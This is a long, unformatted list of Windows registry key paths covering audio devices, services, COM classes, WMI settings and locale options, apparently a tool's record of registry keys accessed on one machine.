HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\DataVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\EnableBackCompat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\MissedTasksStartupDelay HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksInMemoryQueue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksPerHighestPrivEngine HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksPerLeastPrivEngine HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TracingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\WindowSeconds HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\6BA0E3C1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\Com+Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\MaxSxSHashCount HKEY_USERS\.DEFAULT\Control Panel\International\LocaleName HKEY_USERS\.DEFAULT\Control Panel\International\sCountry HKEY_USERS\.DEFAULT\Control Panel\International\sList HKEY_USERS\.DEFAULT\Control Panel\International\sDecimal HKEY_USERS\.DEFAULT\Control Panel\International\sThousand HKEY_USERS\.DEFAULT\Control Panel\International\sGrouping HKEY_USERS\.DEFAULT\Control Panel\International\sNativeDigits HKEY_USERS\.DEFAULT\Control Panel\International\sCurrency HKEY_USERS\.DEFAULT\Control Panel\International\sMonDecimalSep HKEY_USERS\.DEFAULT\Control Panel\International\sMonThousandSep HKEY_USERS\.DEFAULT\Control Panel\International\sMonGrouping HKEY_USERS\.DEFAULT\Control Panel\International\sPositiveSign HKEY_USERS\.DEFAULT\Control Panel\International\sNegativeSign HKEY_USERS\.DEFAULT\Control Panel\International\sTimeFormat HKEY_USERS\.DEFAULT\Control Panel\International\sShortTime HKEY_USERS\.DEFAULT\Control Panel\International\s1159 HKEY_USERS\.DEFAULT\Control Panel\International\s2359 HKEY_USERS\.DEFAULT\Control Panel\International\sShortDate HKEY_USERS\.DEFAULT\Control Panel\International\sYearMonth HKEY_USERS\.DEFAULT\Control Panel\International\sLongDate HKEY_USERS\.DEFAULT\Control Panel\International\iCountry HKEY_USERS\.DEFAULT\Control Panel\International\iMeasure HKEY_USERS\.DEFAULT\Control Panel\International\iPaperSize HKEY_USERS\.DEFAULT\Control Panel\International\iDigits HKEY_USERS\.DEFAULT\Control Panel\International\iLZero HKEY_USERS\.DEFAULT\Control Panel\International\iNegNumber HKEY_USERS\.DEFAULT\Control Panel\International\NumShape HKEY_USERS\.DEFAULT\Control Panel\International\iCurrDigits HKEY_USERS\.DEFAULT\Control Panel\International\iCurrency HKEY_USERS\.DEFAULT\Control Panel\International\iNegCurr HKEY_USERS\.DEFAULT\Control Panel\International\iCalendarType HKEY_USERS\.DEFAULT\Control Panel\International\iFirstDayOfWeek HKEY_USERS\.DEFAULT\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\WOW64 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\RequiredPrivileges HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{018EF085-908F-46CA-8357-98B8AA524ECC}\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{07298156-A2CE-4DF8-98CE-B3AFB139FC44}\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{CE94B10A-8AE6-4D46-953E-ADEBB7DBF4B9}\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Provider HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Scope HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\Locale HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\User HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E69B5212-F3F3-4458-926F-95CEF7E298B5}\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32" HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default) 